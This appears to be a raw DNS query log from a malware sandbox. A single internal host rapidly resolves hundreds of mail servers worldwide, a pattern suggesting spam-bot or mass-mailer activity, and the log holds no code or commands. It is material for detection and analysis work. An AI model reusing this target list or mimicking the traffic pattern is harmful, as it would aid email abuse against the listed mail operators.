Jun 4, 2024 23:10:51.256661892 CEST	192.168.2.11	1.1.1.1	0xae3a	Standard query (0)	smtp.syslife.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.256889105 CEST	192.168.2.11	1.1.1.1	0xea59	Standard query (0)	rhf.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.258529902 CEST	192.168.2.11	1.1.1.1	0xa6ea	Standard query (0)	tiscali.cz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.258750916 CEST	192.168.2.11	1.1.1.1	0x45fb	Standard query (0)	smtp.pandora.be	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.259162903 CEST	192.168.2.11	1.1.1.1	0xfaea	Standard query (0)	smtp.stauseetaucher.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.346960068 CEST	192.168.2.11	1.1.1.1	0xd6d9	Standard query (0)	mx.jk.locaweb.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.347212076 CEST	192.168.2.11	1.1.1.1	0xdafb	Standard query (0)	securesmtp.scrivano.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.347412109 CEST	192.168.2.11	1.1.1.1	0xb39	Standard query (0)	telefonica.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.477909088 CEST	192.168.2.11	1.1.1.1	0x57aa	Standard query (0)	mail.solano.cc.ca.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.478153944 CEST	192.168.2.11	1.1.1.1	0x8de5	Standard query (0)	out.boophis.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.619698048 CEST	192.168.2.11	1.1.1.1	0xa8a6	Standard query (0)	secure.cendoj.ramajudicial.gov.co	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.743103981 CEST	192.168.2.11	1.1.1.1	0xb023	Standard query (0)	out.alunos.estacio.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.871604919 CEST	192.168.2.11	1.1.1.1	0xd094	Standard query (0)	securesmtp.paragonautomotive.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.871952057 CEST	192.168.2.11	1.1.1.1	0xd34c	Standard query (0)	noos.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.031443119 CEST	192.168.2.11	1.1.1.1	0xba4f	Standard query (0)	ns1.hoss.tn	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.032304049 CEST	192.168.2.11	1.1.1.1	0x12d3	Standard query (0)	secure.micaro.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.164527893 CEST	192.168.2.11	1.1.1.1	0x72d4	Standard query (0)	mail.mlink.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.164813995 CEST	192.168.2.11	1.1.1.1	0xbd04	Standard query (0)	mail.zaffarinet.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.287738085 CEST	192.168.2.11	1.1.1.1	0x4d27	Standard query (0)	inboxforme.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.420594931 CEST	192.168.2.11	1.1.1.1	0x279c	Standard query (0)	mail.telangana.gov.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.477967978 CEST	192.168.2.11	1.1.1.1	0x57aa	Standard query (0)	mail.solano.cc.ca.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.575664043 CEST	192.168.2.11	1.1.1.1	0x64d1	Standard query (0)	out.pallisgaard.eu	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.576208115 CEST	192.168.2.11	1.1.1.1	0xed64	Standard query (0)	out.mccarch.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.577440977 CEST	192.168.2.11	1.1.1.1	0x6134	Standard query (0)	homina.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.743486881 CEST	192.168.2.11	1.1.1.1	0x98c	Standard query (0)	edu.xangrila.rs.gov.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.868176937 CEST	192.168.2.11	1.1.1.1	0x8482	Standard query (0)	thelosangelesreosales.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.868496895 CEST	192.168.2.11	1.1.1.1	0xe2c5	Standard query (0)	concordia.psi.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.994256973 CEST	192.168.2.11	1.1.1.1	0x77ff	Standard query (0)	securesmtp.carnevale.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.994517088 CEST	192.168.2.11	1.1.1.1	0xcec0	Standard query (0)	out.nhdac.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.125248909 CEST	192.168.2.11	1.1.1.1	0x729	Standard query (0)	ipcisd-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.183428049 CEST	192.168.2.11	1.1.1.1	0xbd04	Standard query (0)	mail.zaffarinet.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.261074066 CEST	192.168.2.11	1.1.1.1	0x9057	Standard query (0)	excite.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.262290001 CEST	192.168.2.11	1.1.1.1	0xe731	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.426873922 CEST	192.168.2.11	1.1.1.1	0x8382	Standard query (0)	worldonline.cz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.431162119 CEST	192.168.2.11	1.1.1.1	0x279c	Standard query (0)	mail.telangana.gov.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.497195005 CEST	192.168.2.11	1.1.1.1	0x57aa	Standard query (0)	mail.solano.cc.ca.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.555355072 CEST	192.168.2.11	1.1.1.1	0xb559	Standard query (0)	smtp.clubealuno.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.704103947 CEST	192.168.2.11	1.1.1.1	0xfd33	Standard query (0)	mail.broughton.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.957001925 CEST	192.168.2.11	1.1.1.1	0xfa8a	Standard query (0)	mail.gerosoft.ma	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.114294052 CEST	192.168.2.11	1.1.1.1	0xe2d6	Standard query (0)	securesmtp.a3fcfd0807.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.114557981 CEST	192.168.2.11	1.1.1.1	0x51b7	Standard query (0)	agwine.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.115144968 CEST	192.168.2.11	1.1.1.1	0xd95f	Standard query (0)	smtp.outec.co.za	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.275414944 CEST	192.168.2.11	1.1.1.1	0x112	Standard query (0)	out.kgbservicos.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.414585114 CEST	192.168.2.11	1.1.1.1	0x4e12	Standard query (0)	modulonet.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.445728064 CEST	192.168.2.11	1.1.1.1	0x279c	Standard query (0)	mail.telangana.gov.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.540901899 CEST	192.168.2.11	1.1.1.1	0x476c	Standard query (0)	out.pop.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.541805029 CEST	192.168.2.11	1.1.1.1	0xc30d	Standard query (0)	mail.sollar.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.663259029 CEST	192.168.2.11	1.1.1.1	0x35ff	Standard query (0)	mx.powerhousevideoworkshop.com.cust.b.hostedemail.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.664326906 CEST	192.168.2.11	1.1.1.1	0xabe9	Standard query (0)	smtp.homecarenordeste.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.665525913 CEST	192.168.2.11	1.1.1.1	0xab93	Standard query (0)	secure.asdasdasd.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.796471119 CEST	192.168.2.11	1.1.1.1	0xceaf	Standard query (0)	mail.wehealforall.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.796924114 CEST	192.168.2.11	1.1.1.1	0xe18f	Standard query (0)	out.simpson.net.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.797560930 CEST	192.168.2.11	1.1.1.1	0x233c	Standard query (0)	mx37.mb5p.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.013125896 CEST	192.168.2.11	1.1.1.1	0xbfc1	Standard query (0)	voganni.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.013730049 CEST	192.168.2.11	1.1.1.1	0x79bd	Standard query (0)	smtp.compuserve.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.109777927 CEST	192.168.2.11	1.1.1.1	0x33b8	Standard query (0)	smtp.freelap.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.111571074 CEST	192.168.2.11	1.1.1.1	0x1a79	Standard query (0)	mx1.querplex.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.267016888 CEST	192.168.2.11	1.1.1.1	0xa58b	Standard query (0)	troyesivan.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.392549992 CEST	192.168.2.11	1.1.1.1	0xb9cd	Standard query (0)	mail.nysfam.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.393332958 CEST	192.168.2.11	1.1.1.1	0xc70e	Standard query (0)	smtp.lmmgcorp.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.521414042 CEST	192.168.2.11	1.1.1.1	0xb5b9	Standard query (0)	steier-transporte.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.645323038 CEST	192.168.2.11	1.1.1.1	0xc407	Standard query (0)	smtp.ish.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.645602942 CEST	192.168.2.11	1.1.1.1	0xa55e	Standard query (0)	secure.trinityvc.com.tw	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.663968086 CEST	192.168.2.11	1.1.1.1	0xabe9	Standard query (0)	smtp.homecarenordeste.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.777415037 CEST	192.168.2.11	1.1.1.1	0x6db0	Standard query (0)	rcbgd.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.777771950 CEST	192.168.2.11	1.1.1.1	0x795d	Standard query (0)	mail.rawafed-g.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.910557985 CEST	192.168.2.11	1.1.1.1	0x9d3b	Standard query (0)	softbank.ne.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.911257982 CEST	192.168.2.11	1.1.1.1	0xef43	Standard query (0)	out.sesisenaisp.org.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.911820889 CEST	192.168.2.11	1.1.1.1	0xd8f2	Standard query (0)	securesmtp.cunhaeporto.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.075361013 CEST	192.168.2.11	1.1.1.1	0x680a	Standard query (0)	out.stu-esg.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.199595928 CEST	192.168.2.11	1.1.1.1	0xf451	Standard query (0)	auone.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.200417042 CEST	192.168.2.11	1.1.1.1	0x7587	Standard query (0)	mail.kleinauskoelle.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.480950117 CEST	192.168.2.11	1.1.1.1	0xb649	Standard query (0)	secure.charly.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.482285023 CEST	192.168.2.11	1.1.1.1	0xfa0f	Standard query (0)	out.bruna.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.634804010 CEST	192.168.2.11	1.1.1.1	0x5598	Standard query (0)	securesmtp.fxcmtraders.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.635885954 CEST	192.168.2.11	1.1.1.1	0xd0fe	Standard query (0)	securesmtp.bredband.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.636285067 CEST	192.168.2.11	1.1.1.1	0xa55e	Standard query (0)	secure.trinityvc.com.tw	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.957303047 CEST	192.168.2.11	1.1.1.1	0x816b	Standard query (0)	smtp.pommaz.com.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.957870007 CEST	192.168.2.11	1.1.1.1	0x2c03	Standard query (0)	secure.langdalewills.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.959389925 CEST	192.168.2.11	1.1.1.1	0xdcc1	Standard query (0)	sosw-wejherowo.pl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:56.961141109 CEST	192.168.2.11	1.1.1.1	0x8030	Standard query (0)	securesmtp.struzyna.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.082170963 CEST	192.168.2.11	1.1.1.1	0x6193	Standard query (0)	cdtm.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.206280947 CEST	192.168.2.11	1.1.1.1	0x801c	Standard query (0)	mail.sol.dk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.206775904 CEST	192.168.2.11	1.1.1.1	0xc12e	Standard query (0)	mail.cityofloveland.org	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.207298040 CEST	192.168.2.11	1.1.1.1	0xbbd2	Standard query (0)	mail.kpploa.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.332875013 CEST	192.168.2.11	1.1.1.1	0xc861	Standard query (0)	marcomorelli.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.333122015 CEST	192.168.2.11	1.1.1.1	0xe28f	Standard query (0)	securesmtp.raranride.xyz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.333343029 CEST	192.168.2.11	1.1.1.1	0xa90c	Standard query (0)	touchstn.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.460016012 CEST	192.168.2.11	1.1.1.1	0x3c07	Standard query (0)	snapp.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.460807085 CEST	192.168.2.11	1.1.1.1	0x554c	Standard query (0)	secure.projectasfalis.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.595350981 CEST	192.168.2.11	1.1.1.1	0x8034	Standard query (0)	mail.infonet.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.595591068 CEST	192.168.2.11	1.1.1.1	0xadd1	Standard query (0)	out.cinebank.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.729962111 CEST	192.168.2.11	1.1.1.1	0xd0a6	Standard query (0)	smtp.sgsg.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.730426073 CEST	192.168.2.11	1.1.1.1	0xd557	Standard query (0)	smtp.santafe-conicet.gov.ar	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.883917093 CEST	192.168.2.11	1.1.1.1	0x786b	Standard query (0)	mtbakervapor.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.884520054 CEST	192.168.2.11	1.1.1.1	0xe3c6	Standard query (0)	telefonica.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.884764910 CEST	192.168.2.11	1.1.1.1	0xabaa	Standard query (0)	smtp.nidam.co.il	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:57.885490894 CEST	192.168.2.11	1.1.1.1	0x9e8c	Standard query (0)	out.saboresdelcampo.com.ar	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.020411015 CEST	192.168.2.11	1.1.1.1	0x1365	Standard query (0)	mail.vdbhorecadiensten.nl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.146799088 CEST	192.168.2.11	1.1.1.1	0x6432	Standard query (0)	mx3.otenet.gr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.195259094 CEST	192.168.2.11	1.1.1.1	0x801c	Standard query (0)	mail.sol.dk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.272474051 CEST	192.168.2.11	1.1.1.1	0xc76f	Standard query (0)	mail.monmouthstudents.org	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.274868011 CEST	192.168.2.11	1.1.1.1	0xc3d2	Standard query (0)	out.blpcollegemasaurhi.ac.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.275672913 CEST	192.168.2.11	1.1.1.1	0x790c	Standard query (0)	itwealthservices.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.403809071 CEST	192.168.2.11	1.1.1.1	0xc7f7	Standard query (0)	secure.oslearn.com.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.537878990 CEST	192.168.2.11	1.1.1.1	0xad4	Standard query (0)	out.pcmonkeys.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.541980982 CEST	192.168.2.11	1.1.1.1	0xe289	Standard query (0)	mx1.task.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.668535948 CEST	192.168.2.11	1.1.1.1	0xfc85	Standard query (0)	securesmtp.fortress.co.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.859635115 CEST	192.168.2.11	1.1.1.1	0x60a2	Standard query (0)	secure.my-mb.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.860955954 CEST	192.168.2.11	1.1.1.1	0xc663	Standard query (0)	mail.net4use.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:58.966854095 CEST	192.168.2.11	1.1.1.1	0x841	Standard query (0)	smtp.hcjmontemor.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.083754063 CEST	192.168.2.11	1.1.1.1	0x60f6	Standard query (0)	out.mprn.mp.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.221761942 CEST	192.168.2.11	1.1.1.1	0x325a	Standard query (0)	mail.arista.my	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.221923113 CEST	192.168.2.11	1.1.1.1	0x321e	Standard query (0)	ggjiaoyu.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.349569082 CEST	192.168.2.11	1.1.1.1	0x303e	Standard query (0)	mail.rwth-aachen.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.350775003 CEST	192.168.2.11	1.1.1.1	0x230e	Standard query (0)	mail.sistemaplug.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.481456995 CEST	192.168.2.11	1.1.1.1	0x7b37	Standard query (0)	itelefonica.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.482700109 CEST	192.168.2.11	1.1.1.1	0xaeea	Standard query (0)	smtp.mweb.co.za	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.619693995 CEST	192.168.2.11	1.1.1.1	0x9283	Standard query (0)	secure.nardin.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.739362001 CEST	192.168.2.11	1.1.1.1	0x23d3	Standard query (0)	smtp.frontier.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.739871025 CEST	192.168.2.11	1.1.1.1	0xa5de	Standard query (0)	mail.ble.pl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.864357948 CEST	192.168.2.11	1.1.1.1	0xa963	Standard query (0)	com.ssportplus.dice	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:59.865082979 CEST	192.168.2.11	1.1.1.1	0xccde	Standard query (0)	out.seddonhowarth.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.125060081 CEST	192.168.2.11	1.1.1.1	0x6b5e	Standard query (0)	out.bishanoi.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.125952005 CEST	192.168.2.11	1.1.1.1	0x5d63	Standard query (0)	neostrada.pl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.246284008 CEST	192.168.2.11	1.1.1.1	0x91e1	Standard query (0)	secure.fiestabuffet.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.246851921 CEST	192.168.2.11	1.1.1.1	0xb81c	Standard query (0)	out.bibelstammtisch.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.379805088 CEST	192.168.2.11	1.1.1.1	0x693e	Standard query (0)	mail.bayerntreuhand.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.380076885 CEST	192.168.2.11	1.1.1.1	0xcac0	Standard query (0)	mail.t-email.hu	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.505614042 CEST	192.168.2.11	1.1.1.1	0xdbca	Standard query (0)	secure.cuttingclub.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.644368887 CEST	192.168.2.11	1.1.1.1	0x3480	Standard query (0)	out.efield.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.772135973 CEST	192.168.2.11	1.1.1.1	0x24f8	Standard query (0)	educred.ro	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.774070978 CEST	192.168.2.11	1.1.1.1	0xb7f3	Standard query (0)	smtp.52you.online	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.774781942 CEST	192.168.2.11	1.1.1.1	0xdd20	Standard query (0)	out.columbus.co	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.880748987 CEST	192.168.2.11	1.1.1.1	0x978f	Standard query (0)	mx1.titan.email	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:00.881294012 CEST	192.168.2.11	1.1.1.1	0x3daf	Standard query (0)	out.adolphis.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.027349949 CEST	192.168.2.11	1.1.1.1	0xb41f	Standard query (0)	skada.web.id	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.158941984 CEST	192.168.2.11	1.1.1.1	0xfe33	Standard query (0)	securesmtp.mediacall.at	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.186501026 CEST	192.168.2.11	1.1.1.1	0x6064	Standard query (0)	securesmtp.rightathomenova.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.274019003 CEST	192.168.2.11	1.1.1.1	0x210b	Standard query (0)	mail.isc.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.274281979 CEST	192.168.2.11	1.1.1.1	0xa9b1	Standard query (0)	smtp.langius.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.404671907 CEST	192.168.2.11	1.1.1.1	0x998c	Standard query (0)	zaif.express.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.404918909 CEST	192.168.2.11	1.1.1.1	0xc509	Standard query (0)	poso.mtn.co.bw	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.537705898 CEST	192.168.2.11	1.1.1.1	0x696c	Standard query (0)	mx1.mailchannels.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.661201954 CEST	192.168.2.11	1.1.1.1	0xf519	Standard query (0)	securesmtp.northsidebaptist.org.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.661444902 CEST	192.168.2.11	1.1.1.1	0xc147	Standard query (0)	mx2-us1.ppe-hosted.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.787872076 CEST	192.168.2.11	1.1.1.1	0xf125	Standard query (0)	out.lasblo.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:01.789246082 CEST	192.168.2.11	1.1.1.1	0xdfe7	Standard query (0)	sol.dti.ne.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.058834076 CEST	192.168.2.11	1.1.1.1	0x7378	Standard query (0)	smtp.arrobanetbandalarga.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.185703993 CEST	192.168.2.11	1.1.1.1	0x69fa	Standard query (0)	securesmtp.z.com.ar	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.314321995 CEST	192.168.2.11	1.1.1.1	0x8419	Standard query (0)	mxl.mundo-r.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.440488100 CEST	192.168.2.11	1.1.1.1	0x34d	Standard query (0)	smtp.furlan.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.568185091 CEST	192.168.2.11	1.1.1.1	0xd0ac	Standard query (0)	ex2.mail.ovh.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.568650007 CEST	192.168.2.11	1.1.1.1	0xbc8e	Standard query (0)	out.fortaleza.inf.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.569227934 CEST	192.168.2.11	1.1.1.1	0x9a9c	Standard query (0)	mail.iowatelecom.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.697523117 CEST	192.168.2.11	1.1.1.1	0x80e3	Standard query (0)	us2.mx3.mailhostbox.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.697910070 CEST	192.168.2.11	1.1.1.1	0x9cd9	Standard query (0)	brturbo.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.828512907 CEST	192.168.2.11	1.1.1.1	0x2b8a	Standard query (0)	asiainnovations.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.831239939 CEST	192.168.2.11	1.1.1.1	0xf40d	Standard query (0)	mail.f470ed6e02.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.986489058 CEST	192.168.2.11	1.1.1.1	0x346f	Standard query (0)	out.afg.hs-anhalt.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:02.986741066 CEST	192.168.2.11	1.1.1.1	0x4f20	Standard query (0)	microarea-it.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.112936974 CEST	192.168.2.11	1.1.1.1	0x1df0	Standard query (0)	out.estpo.bf	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.243801117 CEST	192.168.2.11	1.1.1.1	0x41fa	Standard query (0)	mail.baritextilemills.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.245187044 CEST	192.168.2.11	1.1.1.1	0x3ad4	Standard query (0)	secure.estudante.sed.sc.gov.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.533032894 CEST	192.168.2.11	1.1.1.1	0x6032	Standard query (0)	out.streetzermusic.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.533524036 CEST	192.168.2.11	1.1.1.1	0xc4bd	Standard query (0)	mx11.gmoserver.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.666928053 CEST	192.168.2.11	1.1.1.1	0xef23	Standard query (0)	afasf.afasf	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.667432070 CEST	192.168.2.11	1.1.1.1	0x7faa	Standard query (0)	out.computerhighway.ch	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.791867971 CEST	192.168.2.11	1.1.1.1	0x158d	Standard query (0)	smtp.fastmail.tr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.792152882 CEST	192.168.2.11	1.1.1.1	0xfc74	Standard query (0)	flybondivirtual.com.ar	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.912024975 CEST	192.168.2.11	1.1.1.1	0x10ca	Standard query (0)	mail.timezoneit.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:03.912731886 CEST	192.168.2.11	1.1.1.1	0x5c0c	Standard query (0)	officeteam.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.042992115 CEST	192.168.2.11	1.1.1.1	0xcc51	Standard query (0)	securesmtp.ontariosewingautomation.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.043247938 CEST	192.168.2.11	1.1.1.1	0xc517	Standard query (0)	landfillgas-com-au.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.182804108 CEST	192.168.2.11	1.1.1.1	0xc8da	Standard query (0)	out.favel-lyon.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.183155060 CEST	192.168.2.11	1.1.1.1	0xcdc0	Standard query (0)	out.org.lichess.mobileapp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.443416119 CEST	192.168.2.11	1.1.1.1	0xb9bf	Standard query (0)	noos.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.444220066 CEST	192.168.2.11	1.1.1.1	0x8aa6	Standard query (0)	us-smtp-inbound-2.mimecast.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.563453913 CEST	192.168.2.11	1.1.1.1	0xce2d	Standard query (0)	securesmtp.slape.net	A (IP address)	IN (0x0001)	false
